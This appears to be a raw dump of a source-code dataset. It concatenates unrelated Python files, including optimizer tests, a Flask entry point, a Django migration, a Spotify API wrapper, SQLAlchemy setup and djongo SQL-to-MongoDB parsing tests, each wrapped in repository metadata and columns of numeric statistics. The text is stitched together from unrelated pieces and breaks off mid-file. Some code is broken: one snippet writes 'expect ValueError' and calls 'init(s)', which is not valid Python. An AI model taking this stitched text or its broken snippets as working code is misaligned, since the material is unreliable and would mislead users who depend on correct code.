[ "MIT" ]
null
null
null
tests/optimizers_test/test_sine_cosine_algorithm.py
pfnet-research/batch-metaheuristics
202372a4ef4439cceb71e71092487c9173fd367c
[ "MIT" ]
null
null
null
from batchopt.optimizers.sine_cosine_algorithm import SineCosineAlgorithm def test_sca_init(optimizer_init_test_func): optimizer_init_test_func(SineCosineAlgorithm) def test_sca_ask(optimizer_ask_test_func): optimizer_ask_test_func(SineCosineAlgorithm) def test_sca_train(optimizer_optimize_test_func): optimizer_optimize_test_func(SineCosineAlgorithm)
26.5
73
0.87062
47
371
6.319149
0.361702
0.161616
0.262626
0.292929
0.249158
0.249158
0
0
0
0
0
0
0.083558
371
13
74
28.538462
0.873529
0
0
0
0
0
0
0
0
0
0
0
0
1
0.428571
false
0
0.142857
0
0.571429
0
0
0
0
null
0
1
1
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
1
0
0
0
0
0
0
0
3
7b00e9acf752bc5cd0301a05ebc3cf5d1acb7021
219
py
Python
run.py
DEMG-DEV/ReceipesAPP
0362f2c52113b0e45e061a2ccd83433067ecf274
[ "MIT" ]
null
null
null
run.py
DEMG-DEV/ReceipesAPP
0362f2c52113b0e45e061a2ccd83433067ecf274
[ "MIT" ]
null
null
null
run.py
DEMG-DEV/ReceipesAPP
0362f2c52113b0e45e061a2ccd83433067ecf274
[ "MIT" ]
null
null
null
# run.py # Add your settings here... this is a temporary location, as the settings for a Flask app # should be stored separate from your main program. from project import app if __name__ == "__main__": app.run()
21.9
89
0.721461
35
219
4.285714
0.771429
0
0
0
0
0
0
0
0
0
0
0
0.200913
219
9
90
24.333333
0.857143
0.657534
0
0
0
0
0.112676
0
0
0
0
0
0
1
0
true
0
0.333333
0
0.333333
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
1
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
0
1
0
1
0
0
0
0
3
7b0f59f24a675c8aac91ed5aaf9d1a82c174b575
611
py
Python
3. Distributed Deep Learning with TensorFlow and Google ML Engine/8 creating your machine learning api/batch_data_dict.py
dyadxmachina/Distributed-Deep-Learning-with-Tensorflow
b54e1e4a743969b3c7f890fffa3efd95a295e0f9
[ "MIT" ]
158
2018-08-01T13:31:36.000Z
2022-02-24T05:30:06.000Z
3. Distributed Deep Learning with TensorFlow and Google ML Engine/8 creating your machine learning api/batch_data_dict.py
dyadxmachina/Distributed-Deep-Learning-with-Tensorflow
b54e1e4a743969b3c7f890fffa3efd95a295e0f9
[ "MIT" ]
3
2018-08-23T15:38:03.000Z
2019-03-10T16:26:31.000Z
3. Distributed Deep Learning with TensorFlow and Google ML Engine/8 creating your machine learning api/batch_data_dict.py
dyadxmachina/Distributed-Deep-Learning-with-Tensorflow
b54e1e4a743969b3c7f890fffa3efd95a295e0f9
[ "MIT" ]
49
2018-07-30T07:06:58.000Z
2020-11-26T05:31:31.000Z
requestDict = { 'instances': [ { "Lat": 37.4434774, "Long": -122.1652269, "Altitude": 21.0, "Date_": "7/4/17", "Time_": "23:37:25", "dt_": "7/4/17 23:37" #driving meet conjestion }, { "Lat": 37.429302, "Long": -122.16145, "Altitude": 20.0, "Date_": "7/4/17", "Time_": "09:37:25", "dt_": "7/4/17 09:37" #driving meet conjestion } ] }
33.944444
66
0.319149
54
611
3.5
0.481481
0.042328
0.084656
0.074074
0.243386
0.243386
0
0
0
0
0
0.265517
0.525368
611
18
67
33.944444
0.386207
0.075286
0
0
0
0
0.207815
0
0
0
0
0
0
1
0
false
0
0
0
0
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
1
1
0
0
0
0
1
0
0
0
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
3
9e558c9761b4a248d1fe562e1fa097df0536d655
120
py
Python
errors.py
botteon/ClusterPyXT
b13a96731f6606ab545dbcb7574c385cf198775d
[ "BSD-3-Clause" ]
25
2019-02-05T20:06:45.000Z
2022-03-01T12:59:39.000Z
errors.py
botteon/ClusterPyXT
b13a96731f6606ab545dbcb7574c385cf198775d
[ "BSD-3-Clause" ]
25
2019-02-27T18:37:13.000Z
2022-03-23T17:34:30.000Z
errors.py
botteon/ClusterPyXT
b13a96731f6606ab545dbcb7574c385cf198775d
[ "BSD-3-Clause" ]
6
2019-02-05T20:06:33.000Z
2021-12-15T02:29:48.000Z
from enum import IntEnum class ClusterPyError(IntEnum): ciao_not_running = -1 sources_or_exclude_not_found = 1
20
36
0.775
17
120
5.117647
0.823529
0
0
0
0
0
0
0
0
0
0
0.020202
0.175
120
5
37
24
0.858586
0
0
0
0
0
0
0
0
0
0
0
0
1
0
false
0
0.25
0
1
0
1
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
1
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
1
0
0
3
9e802f335c225268e13160883db8950609e37826
118
py
Python
minique/compat.py
valohai/minique
644c0653577a6640f38ea1ea1802b5983fcbdeb5
[ "MIT" ]
7
2017-05-30T05:44:12.000Z
2021-11-17T03:20:44.000Z
minique/compat.py
valohai/minique
644c0653577a6640f38ea1ea1802b5983fcbdeb5
[ "MIT" ]
18
2017-05-29T17:59:00.000Z
2021-11-25T14:02:29.000Z
minique/compat.py
valohai/minique
644c0653577a6640f38ea1ea1802b5983fcbdeb5
[ "MIT" ]
null
null
null
try: import sentry_sdk except ImportError: sentry_sdk = None # type: ignore __all__ = [ "sentry_sdk", ]
13.111111
37
0.652542
14
118
5
0.714286
0.385714
0
0
0
0
0
0
0
0
0
0
0.254237
118
8
38
14.75
0.795455
0.101695
0
0
0
0
0.096154
0
0
0
0
0
0
1
0
false
0
0.285714
0
0.285714
0
1
0
0
null
1
0
0
0
0
0
0
0
0
0
0
0
0
1
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
3
9e9ebdfa2cae07913caba6e3a41510a574f479b2
112
py
Python
test.py
619561504/python-study
735079a3715f9ff80de186e707a78bc201247e40
[ "Apache-2.0" ]
null
null
null
test.py
619561504/python-study
735079a3715f9ff80de186e707a78bc201247e40
[ "Apache-2.0" ]
null
null
null
test.py
619561504/python-study
735079a3715f9ff80de186e707a78bc201247e40
[ "Apache-2.0" ]
null
null
null
from __future__ import division, print_function, unicode_literals print('hello world') f = open("ff") f.read()
18.666667
65
0.758929
16
112
4.9375
0.875
0
0
0
0
0
0
0
0
0
0
0
0.116071
112
6
66
18.666667
0.79798
0
0
0
0
0
0.115044
0
0
0
0
0
0
1
0
false
0
0.25
0
0.25
0.5
1
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
1
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
1
0
3
9eb8850fb00705520bd38c75006fb483886a3074
3,568
py
Python
bookshop/books/migrations/0007_auto_20161129_0732.py
jackklpan/eshop
b81050868547afb287b429c09b85699e940a78f6
[ "MIT" ]
39
2016-11-29T11:34:38.000Z
2021-01-04T05:49:20.000Z
bookshop/books/migrations/0007_auto_20161129_0732.py
jackklpan/eshop
b81050868547afb287b429c09b85699e940a78f6
[ "MIT" ]
3
2016-12-27T09:12:25.000Z
2017-02-17T02:29:51.000Z
bookshop/books/migrations/0007_auto_20161129_0732.py
jackklpan/eshop
b81050868547afb287b429c09b85699e940a78f6
[ "MIT" ]
23
2016-11-29T11:35:22.000Z
2020-02-04T09:22:23.000Z
# -*- coding: utf-8 -*- # Generated by Django 1.10.3 on 2016-11-29 07:32 from __future__ import unicode_literals from django.db import migrations, models import django.db.models.deletion class Migration(migrations.Migration): dependencies = [ ('books', '0006_auto_20161129_0636'), ] operations = [ migrations.AlterField( model_name='book', name='author', field=models.CharField(blank=True, default='', max_length=100, verbose_name='作者'), ), migrations.AlterField( model_name='book', name='category', field=models.ForeignKey(blank=True, null=True, on_delete=django.db.models.deletion.CASCADE, to='books.Category', verbose_name='分類'), ), migrations.AlterField( model_name='book', name='created', field=models.DateTimeField(auto_now_add=True, verbose_name='新增時間'), ), migrations.AlterField( model_name='book', name='description', field=models.TextField(blank=True, default='', verbose_name='內容簡介'), ), migrations.AlterField( model_name='book', name='isbn', field=models.CharField(blank=True, default='', max_length=13, verbose_name='ISBN'), ), migrations.AlterField( model_name='book', name='language', field=models.CharField(blank=True, default='', max_length=20, verbose_name='語言'), ), migrations.AlterField( model_name='book', name='name', field=models.CharField(max_length=255, verbose_name='名稱'), ), migrations.AlterField( model_name='book', name='original_price', field=models.PositiveIntegerField(default=0, verbose_name='原價'), ), migrations.AlterField( model_name='book', name='price', field=models.PositiveIntegerField(default=0, verbose_name='售價'), ), migrations.AlterField( model_name='book', name='published', field=models.DateTimeField(null=True, verbose_name='上架時間'), ), migrations.AlterField( model_name='book', name='publisher', field=models.CharField(blank=True, default='', max_length=100, verbose_name='出版社'), ), migrations.AlterField( model_name='book', name='status', field=models.PositiveSmallIntegerField(choices=[(0, '未上架'), (1, '上架中'), (2, '已下架')], default=0, verbose_name='狀態'), ), migrations.AlterField( model_name='book', name='tags', field=models.ManyToManyField(blank=True, to='books.Tag', verbose_name='標籤'), ), migrations.AlterField( model_name='book', name='translator', field=models.CharField(blank=True, default='', max_length=100, verbose_name='譯者'), ), migrations.AlterField( model_name='book', name='updated', field=models.DateTimeField(auto_now=True, verbose_name='更新時間'), ), migrations.AlterField( model_name='category', name='name', field=models.CharField(max_length=100, verbose_name='分類名稱'), ), migrations.AlterField( model_name='tag', name='name', field=models.CharField(max_length=100, verbose_name='標籤名稱'), ), ]
34.980392
144
0.563621
347
3,568
5.636888
0.282421
0.173824
0.21728
0.252045
0.577198
0.545501
0.263804
0.244888
0.142638
0.142638
0
0.024439
0.300448
3,568
101
145
35.326733
0.759215
0.019058
0
0.553191
1
0
0.085788
0.006577
0
0
0
0
0
1
0
false
0
0.031915
0
0.06383
0
0
0
0
null
0
1
1
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
1
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
3
9eb88d0ee439a0fa1db70f9193a067f9c295fc44
126
py
Python
aula12/programa01.py
NicoCassio/cursoemvideo-python
2686ff74f4d45bdb0dc194f49f4dd19aae629d52
[ "MIT" ]
null
null
null
aula12/programa01.py
NicoCassio/cursoemvideo-python
2686ff74f4d45bdb0dc194f49f4dd19aae629d52
[ "MIT" ]
null
null
null
aula12/programa01.py
NicoCassio/cursoemvideo-python
2686ff74f4d45bdb0dc194f49f4dd19aae629d52
[ "MIT" ]
null
null
null
n = str(input('Nome: ')) if n == 'Nicolas': print('TOP') elif n == 'Claudia': print('Eca...') else: print('Olá!')
15.75
24
0.5
17
126
3.705882
0.764706
0
0
0
0
0
0
0
0
0
0
0
0.222222
126
7
25
18
0.642857
0
0
0
0
0
0.261905
0
0
0
0
0
0
1
0
false
0
0
0
0
0.428571
1
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
1
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
1
0
3
9ebe715420430ada254377e63c339851fde47fe3
426
py
Python
.github/scripts/cleanup-lightbulbPM.py
krafczyk/training-space-ids
03bbd077a1416492eae3568c171c43ade041e5b4
[ "MIT" ]
2
2021-09-22T20:55:12.000Z
2021-10-04T20:39:30.000Z
.github/scripts/cleanup-lightbulbPM.py
krafczyk/training-space-ids
03bbd077a1416492eae3568c171c43ade041e5b4
[ "MIT" ]
65
2021-08-09T20:34:07.000Z
2022-03-30T17:25:25.000Z
.github/scripts/cleanup-lightbulbPM.py
krafczyk/training-space-ids
03bbd077a1416492eae3568c171c43ade041e5b4
[ "MIT" ]
1
2021-11-12T19:45:13.000Z
2021-11-12T19:45:13.000Z
import os from c3python import get_c3 def c3(): """Loads c3 type system from a tag. Requires the following environment variables: URL: TAG: TENANT: Returns: c3 object: c3 type system """ return get_c3(url=os.environ.get("URL"), tenant=os.environ.get("TENANT"), tag=os.environ.get("TAG")) def main(): print("Hello World!") if __name__ == "__main__": main()
20.285714
104
0.603286
57
426
4.333333
0.508772
0.109312
0.145749
0
0
0
0
0
0
0
0
0.022364
0.265258
426
20
105
21.3
0.766773
0.347418
0
0
0
0
0.133891
0
0
0
0
0
0
1
0.25
true
0
0.25
0
0.625
0.125
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
1
1
0
0
0
1
0
0
3
7b536195d3573c2cb5281613184ff59b090f261a
113
py
Python
scripts/reheader_bcf.py
jodyphelan/pathogenseq
2e04190f25063d722ef653e819b94eb66407ea8d
[ "MIT" ]
null
null
null
scripts/reheader_bcf.py
jodyphelan/pathogenseq
2e04190f25063d722ef653e819b94eb66407ea8d
[ "MIT" ]
null
null
null
scripts/reheader_bcf.py
jodyphelan/pathogenseq
2e04190f25063d722ef653e819b94eb66407ea8d
[ "MIT" ]
1
2018-05-11T14:54:51.000Z
2018-05-11T14:54:51.000Z
#! /usr/bin/env python import pathogenseq as ps import sys bcf = ps.bcf(sys.argv[1]) bcf.reheader(sys.argv[2])
14.125
25
0.707965
21
113
3.809524
0.666667
0.175
0
0
0
0
0
0
0
0
0
0.020408
0.132743
113
7
26
16.142857
0.795918
0.185841
0
0
0
0
0
0
0
0
0
0
0
1
0
false
0
0.5
0
0.5
0
1
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
1
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
0
0
0
1
0
0
0
0
3
7b5d24bca3cdb15417740f8e221eb86c22fe9858
99
py
Python
ex48_convert.py
EiPoPoAung/python_exercises
e7c7b67e0409f6680ea7f580e3d1b21d6f96248d
[ "MIT" ]
null
null
null
ex48_convert.py
EiPoPoAung/python_exercises
e7c7b67e0409f6680ea7f580e3d1b21d6f96248d
[ "MIT" ]
null
null
null
ex48_convert.py
EiPoPoAung/python_exercises
e7c7b67e0409f6680ea7f580e3d1b21d6f96248d
[ "MIT" ]
null
null
null
def convert_number(s): try: return init(s) expect ValueError: return None
14.142857
22
0.585859
12
99
4.75
0.833333
0
0
0
0
0
0
0
0
0
0
0
0.343434
99
6
23
16.5
0.876923
0
0
0
0
0
0
0
0
0
0
0
0
0
null
null
0
0
null
null
0
1
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
1
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
1
0
0
0
0
0
0
0
0
3
7b6be73f946a8c6ac8404dca4d2872a04f2f4205
162
py
Python
src/StudentRegister/apps.py
steve-njuguna-k/Django-CRUD-Operations-Using-PostgreSQL
6649bbf5a2dc4af27d8aca884652ada699d660e8
[ "MIT" ]
null
null
null
src/StudentRegister/apps.py
steve-njuguna-k/Django-CRUD-Operations-Using-PostgreSQL
6649bbf5a2dc4af27d8aca884652ada699d660e8
[ "MIT" ]
null
null
null
src/StudentRegister/apps.py
steve-njuguna-k/Django-CRUD-Operations-Using-PostgreSQL
6649bbf5a2dc4af27d8aca884652ada699d660e8
[ "MIT" ]
null
null
null
from django.apps import AppConfig class StudentregisterConfig(AppConfig): default_auto_field = 'django.db.models.BigAutoField' name = 'StudentRegister'
23.142857
56
0.783951
17
162
7.352941
0.882353
0
0
0
0
0
0
0
0
0
0
0
0.135802
162
6
57
27
0.892857
0
0
0
0
0
0.271605
0.179012
0
0
0
0
0
1
0
false
0
0.25
0
1
0
1
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
1
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
1
0
0
3
7b7a853d1cee092ddc2ba08652d39e79e74a0fed
790
py
Python
rfdmovie/db.py
Microndgt/rfdmovies
befba9ac7667d8234976b7fda7fa800beb5f05c7
[ "MIT" ]
18
2018-02-12T04:11:17.000Z
2019-10-10T01:44:31.000Z
rfdmovie/db.py
Microndgt/rfdmovies
befba9ac7667d8234976b7fda7fa800beb5f05c7
[ "MIT" ]
1
2021-06-01T21:46:26.000Z
2021-06-01T21:46:26.000Z
rfdmovie/db.py
tangzhoutz/rfdmovies-client
befba9ac7667d8234976b7fda7fa800beb5f05c7
[ "MIT" ]
null
null
null
from sqlalchemy import create_engine from sqlalchemy.engine.url import URL from sqlalchemy.orm import sessionmaker from sqlalchemy.ext.declarative import declarative_base from rfdmovie.config import get_config dsn_url = URL(drivername='postgresql', host=get_config("rfdmovie.postgresql.host"), port=get_config("rfdmovie.postgresql.port"), username=get_config("rfdmovie.postgresql.user"), password=get_config("rfdmovie.postgresql.password"), database=get_config("rfdmovie.postgresql.db_name")) engine = create_engine(dsn_url, echo=get_config("rfdmovie.sqlalchemy.echo", False)) DBSession = sessionmaker(engine) # pylint: disable=invalid-name db_session = DBSession() BaseModel = declarative_base() # pylint: disable=invalid-name
41.578947
83
0.758228
94
790
6.212766
0.351064
0.107877
0.174658
0.231164
0
0
0
0
0
0
0
0
0.139241
790
18
84
43.888889
0.858824
0.072152
0
0
0
0
0.220548
0.206849
0
0
0
0
0
1
0
false
0.071429
0.357143
0
0.357143
0
0
0
0
null
0
0
1
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
0
0
1
1
0
0
0
0
3
7b88cbc6a0027450351c9aff16f25e2acf438bfa
119
py
Python
infracheck/__init__.py
riotkit-org/infracheck
e328e9ad722e6e2906aca378270099017198f602
[ "Apache-2.0" ]
10
2019-08-16T23:08:43.000Z
2021-05-05T06:26:04.000Z
infracheck/__init__.py
riotkit-org/infracheck
e328e9ad722e6e2906aca378270099017198f602
[ "Apache-2.0" ]
39
2019-04-13T10:00:21.000Z
2021-11-24T15:02:05.000Z
infracheck/__init__.py
zwiazeksyndykalistowpolski/infracheck
e328e9ad722e6e2906aca378270099017198f602
[ "Apache-2.0" ]
1
2019-05-09T15:31:49.000Z
2019-05-09T15:31:49.000Z
# -*- coding: utf-8 -*- __author__ = 'RiotKit' __email__ = 'riotkit_org@riseup.net' from .infracheck.bin import main
17
36
0.697479
15
119
4.933333
0.933333
0
0
0
0
0
0
0
0
0
0
0.009804
0.142857
119
6
37
19.833333
0.715686
0.176471
0
0
0
0
0.302083
0.229167
0
0
0
0
0
1
0
false
0
0.333333
0
0.333333
0
1
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
1
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
0
0
0
1
0
0
0
0
3
7b8c64e6f7faf78c519500f27daa1f446684db4f
368
py
Python
src/models/__init__.py
O151/bysj
9c0c63202c83c47470dd65822bc22b973ae69176
[ "MIT" ]
null
null
null
src/models/__init__.py
O151/bysj
9c0c63202c83c47470dd65822bc22b973ae69176
[ "MIT" ]
null
null
null
src/models/__init__.py
O151/bysj
9c0c63202c83c47470dd65822bc22b973ae69176
[ "MIT" ]
null
null
null
# -*- coding: utf-8 -*- """ Created on Tue Dec 11 11:25:52 2018 @author: Ljx """ from .AutoEncoder import AutoEncoder from .Seq2Seq import Seq2Seq from .Recurrent import Recurrent from .multiF import multiF from .VAR import VAR from .TCN import TCN from .Wavelet_ATT import Wavelet_ATT from .RecurrentN import RecurrentN from .RecurrentNTcn import RecurrentNTcn
17.52381
40
0.766304
52
368
5.384615
0.480769
0.071429
0
0
0
0
0
0
0
0
0
0.048387
0.157609
368
20
41
18.4
0.854839
0.195652
0
0
0
0
0
0
0
0
0
0
0
1
0
true
0
1
0
1
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
0
1
0
1
0
1
0
0
3
7b9583dee55cff4a4de9f7360e6fc2e29677fb0f
1,540
py
Python
sentiment/spotify/connector.py
dachrisch/spotify_sentiment_classifier
3365d49b3f63e0140b916e05cade7c04c6ee3094
[ "Unlicense" ]
1
2020-05-12T21:38:57.000Z
2020-05-12T21:38:57.000Z
sentiment/spotify/connector.py
dachrisch/spotify_sentiment_classifier
3365d49b3f63e0140b916e05cade7c04c6ee3094
[ "Unlicense" ]
1
2020-05-12T19:51:21.000Z
2020-05-12T19:51:21.000Z
sentiment/spotify/connector.py
dachrisch/spotify_sentiment_classifier
3365d49b3f63e0140b916e05cade7c04c6ee3094
[ "Unlicense" ]
null
null
null
from functools import lru_cache import spotipy class SpotipyConnectionWrapper(object): @classmethod @lru_cache(128) def from_token(cls, access_token): return cls(spotipy.Spotify(auth=access_token)) def __init__(self, to_wrap: spotipy.Spotify): self.__connection = to_wrap @lru_cache(128) def current_user(self): return self.__connection.current_user() @lru_cache(128) def user_playlist_add_tracks(self, user_id, playlist_id, track_ids): try: return self.__connection.user_playlist_add_tracks(user_id, playlist_id, track_ids) finally: self.playlist_tracks.cache_clear() @lru_cache(128) def current_user_playlists(self, limit=50, offset=0): return self.__connection.current_user_playlists(limit, offset) @lru_cache(128) def current_user_saved_tracks(self, limit=20, offset=0): return self.__connection.current_user_saved_tracks(limit, offset) @lru_cache(128) def playlist_tracks(self, playlist_id, fields): return self.__connection.playlist_tracks(playlist_id, fields=fields) @lru_cache(128) def user_playlist_create(self, user, name, public=True, description=""): try: return self.__connection.user_playlist_create(user, name, public=public, description=description) finally: self.current_user_playlists.cache_clear() @lru_cache(128) def audio_features(self, tracks=None): return self.__connection.audio_features(tracks)
31.428571
109
0.71039
194
1,540
5.262887
0.257732
0.070519
0.08619
0.109696
0.41332
0.382958
0.074437
0
0
0
0
0.024292
0.198052
1,540
48
110
32.083333
0.802429
0
0
0.333333
0
0
0
0
0
0
0
0
0
1
0.25
false
0
0.055556
0.166667
0.555556
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
1
0
0
0
1
1
0
0
3
7ba80d5f31d5261c009426afbeca521c41e683a6
13,309
py
Python
tests/test_sqlparsing.py
junqueira/djongo
a16d92bc46c4d67d43a60094abac150c470d7b0d
[ "BSD-3-Clause" ]
null
null
null
tests/test_sqlparsing.py
junqueira/djongo
a16d92bc46c4d67d43a60094abac150c470d7b0d
[ "BSD-3-Clause" ]
null
null
null
tests/test_sqlparsing.py
junqueira/djongo
a16d92bc46c4d67d43a60094abac150c470d7b0d
[ "BSD-3-Clause" ]
1
2019-12-31T16:52:22.000Z
2019-12-31T16:52:22.000Z
from unittest import TestCase, mock from logging import getLogger, DEBUG, StreamHandler from pymongo import MongoClient from djongo.sql2mongo import Parse sql = [ 'UPDATE "auth_user" SET "password" = %s, "last_login" = NULL, "is_superuser" = %s, "username" = %s, "first_name" = %s, "last_name" = %s, "email" = %s, "is_staff" = %s, "is_active" = %s, "date_joined" = %s WHERE "auth_user"."id" = %s', 'CREATE TABLE "django_migrations" ("id" integer NOT NULL PRIMARY KEY AUTOINCREMENT, "app" char NOT NULL, "name" char NOT NULL, "applied" datetime NOT NULL)', 'SELECT "django_migrations"."app", "django_migrations"."trial" ' 'FROM "django_migrations" ' 'WHERE ("django_migrations"."app" <=%s ' 'AND "django_migrations"."trial" >=%s ' 'AND "django_migrations"."app" >=%s) ' 'OR ("django_migrations"."app" <=%s ' 'AND "django_migrations"."app">%s)', 'SELECT "auth_permission"."content_type_id", "auth_permission"."codename" \ FROM "auth_permission" INNER JOIN "django_content_type" \ ON ("auth_permission"."content_type_id" = "django_content_type"."id") \ WHERE "auth_permission"."content_type_id" IN (%(0)s, %(1)s) \ ORDER BY "django_content_type"."app_label" ASC,\ "django_content_type"."model" ASC, "auth_permission"."codename" ASC', 'SELECT "django_content_type"."id", "django_content_type"."app_label",\ "django_content_type"."model" FROM "django_content_type" \ WHERE ("django_content_type"."model" = %s AND "django_content_type"."app_label" = %s)', 'SELECT (1) AS "a" FROM "django_session" WHERE "django_session"."session_key" = %(0)s LIMIT 1', 'SELECT COUNT(*) AS "__count" FROM "auth_user"', 'DELETE FROM "django_session" WHERE "django_session"."session_key" IN (%(0)s)', 'UPDATE "django_session" SET "session_data" = %(0)s, "expire_date" = %(1)s WHERE "django_session"."session_key" = %(2)s', 'SELECT "django_admin_log"."id", "django_admin_log"."action_time",\ "django_admin_log"."user_id", "django_admin_log"."content_type_id",\ "django_admin_log"."object_id", "django_admin_log"."object_repr", \ "django_admin_log"."action_flag", "django_admin_log"."change_message",\ "auth_user"."id", "auth_user"."password", "auth_user"."last_login", \ "auth_user"."is_superuser", "auth_user"."username", "auth_user"."first_name",\ "auth_user"."last_name", "auth_user"."email", "auth_user"."is_staff",\ "auth_user"."is_active", "auth_user"."date_joined", "django_content_type"."id",\ "django_content_type"."app_label", "django_content_type"."model" \ FROM "django_admin_log" \ INNER JOIN "auth_user" \ ON ("django_admin_log"."user_id" = "auth_user"."id") \ LEFT OUTER JOIN "django_content_type" \ ON ("django_admin_log"."content_type_id" = "django_content_type"."id") \ WHERE "django_admin_log"."user_id" = %(0)s ORDER BY "django_admin_log"."action_time" DESC LIMIT 10', 'SELECT "auth_permission"."id", "auth_permission"."name", "auth_permission"."content_type_id", "auth_permission"."codename" ' 'FROM "auth_permission" ' 'INNER JOIN "auth_user_user_permissions" ' 'ON ("auth_permission"."id" = "auth_user_user_permissions"."permission_id") ' 'INNER JOIN "django_content_type" ' 'ON ("auth_permission"."content_type_id" = "django_content_type"."id") ' 'WHERE "auth_user_user_permissions"."user_id" = %s ' 'ORDER BY "django_content_type"."app_label" ASC, "django_content_type"."model" ASC, "auth_permission"."codename" ASC', 'SELECT "auth_permission"."id", "auth_permission"."name", "auth_permission"."content_type_id", ' '"auth_permission"."codename", "django_content_type"."id", "django_content_type"."app_label", "django_content_type"."model" ' 'FROM "auth_permission" ' 'INNER JOIN "django_content_type" ' 'ON ("auth_permission"."content_type_id" = "django_content_type"."id") ' 'ORDER BY "django_content_type"."app_label" ASC, "django_content_type"."model" ASC, "auth_permission"."codename" ASC', 'SELECT "django_admin_log"."id", "django_admin_log"."action_time", "django_admin_log"."user_id", "django_admin_log"."content_type_id", "django_admin_log"."object_id", "django_admin_log"."object_repr", "django_admin_log"."action_flag", "django_admin_log"."change_message", "auth_user"."id", "auth_user"."password", "auth_user"."last_login", "auth_user"."is_superuser", "auth_user"."username", "auth_user"."first_name", "auth_user"."last_name", "auth_user"."email", "auth_user"."is_staff", "auth_user"."is_active", "auth_user"."date_joined", "django_content_type"."id", "django_content_type"."app_label", "django_content_type"."model" FROM "django_admin_log" INNER JOIN "auth_user" ON ("django_admin_log"."user_id" = "auth_user"."id") LEFT OUTER JOIN "django_content_type" ON ("django_admin_log"."content_type_id" = "django_content_type"."id") WHERE "django_admin_log"."user_id" = %(0)s ORDER BY "django_admin_log"."action_time" DESC LIMIT 10', 'SELECT "auth_permission"."id" FROM "auth_permission" INNER JOIN "auth_group_permissions" ON ("auth_permission"."id" = "auth_group_permissions"."permission_id") INNER JOIN "django_content_type" ON ("auth_permission"."content_type_id" = "django_content_type"."id") WHERE "auth_group_permissions"."group_id" = %s ORDER BY "django_content_type"."app_label" ASC, "django_content_type"."model" ASC, "auth_permission"."codename" ASC', 'SELECT "auth_group_permissions"."permission_id" FROM "auth_group_permissions" WHERE ("auth_group_permissions"."group_id" = %s AND "auth_group_permissions"."permission_id" IN (%s))', 'SELECT (1) AS "a" FROM "auth_group" WHERE ("auth_group"."name" = %(0)s AND NOT ("auth_group"."id" = %(1)s)) LIMIT 1' ] root_logger = getLogger() root_logger.setLevel(DEBUG) root_logger.addHandler(StreamHandler()) class TestParse(TestCase): def test_with_db(self): conn = MongoClient()['djongo-test'] for i, s in enumerate(sql): result = Parse(conn, s, [1, 2, 3, 4, 5]).result() print(i) try: doc = result.next() except StopIteration: pass def _mock(self): result = Parse(self.conn, self.sql, self.params).result() doc = next(result) def test_where(self): conn = self.conn = mock.MagicMock() find = self.conn.__getitem__().find where = 'SELECT "table"."col" FROM "table" WHERE' filt_col1 = '"table"."col1"' find_args = { 'projection': ['col'], 'filter': {} } self.sql = f'{where} {filt_col1} = %s' find_args['filter'] = { 'col1': { '$eq': 1 } } self.params = [1] self._mock() find.assert_any_call(**find_args) conn.reset_mock() self.sql = f'{where} {filt_col1} <= %s' find_args['filter'] = { 'col1': { '$lte': 1 } } self.params = [1] self._mock() find.assert_any_call(**find_args) conn.reset_mock() self.sql = f'{where} {filt_col1} = NULL' find_args['filter'] = { 'col1': { '$eq': None } } self.params = [] self._mock() find.assert_any_call(**find_args) conn.reset_mock() self.sql = f'{where} NOT ({filt_col1} <= %s)' find_args['filter'] = { 'col1': { '$not': { '$lte': 1 } } } self.params = [1] self._mock() find.assert_any_call(**find_args) conn.reset_mock() self.sql = f'{where} NOT {filt_col1} <= %s' find_args['filter'] = { 'col1': { '$not': { '$lte': 1 } } } self.params = [1] self._mock() find.assert_any_call(**find_args) conn.reset_mock() self.sql = f'{where} NOT {filt_col1} = NULL' find_args['filter'] = { 'col1': { '$not': { '$eq': None } } } self.params = [] self._mock() find.assert_any_call(**find_args) conn.reset_mock() self.sql = f'{where} {filt_col1} IN (%s)' find_args['filter'] = { 'col1': { '$in': [1] } } self.params = [1] self._mock() find.assert_any_call(**find_args) conn.reset_mock() # TODO: This is not the right SQL syntax self.sql = f'{where} {filt_col1} IN (NULL, %s)' find_args['filter'] = { 'col1': { '$in': [None, 1] } } self.params = [1] self._mock() find.assert_any_call(**find_args) conn.reset_mock() self.sql = f'{where} {filt_col1} NOT IN (%s)' find_args['filter'] = { 'col1': { '$nin': [1] } } self.params = [1] self._mock() find.assert_any_call(**find_args) conn.reset_mock() self.sql = f'{where} {filt_col1} NOT IN (%s, %s)' find_args['filter'] = { 'col1': { '$nin': [1, 2] } } self.params = [1, 2] self._mock() find.assert_any_call(**find_args) conn.reset_mock() self.sql = f'{where} ({filt_col1} = %s AND {filt_col1} <= %s)' find_args['filter'] = { '$and': [ { 'col1': { '$eq': 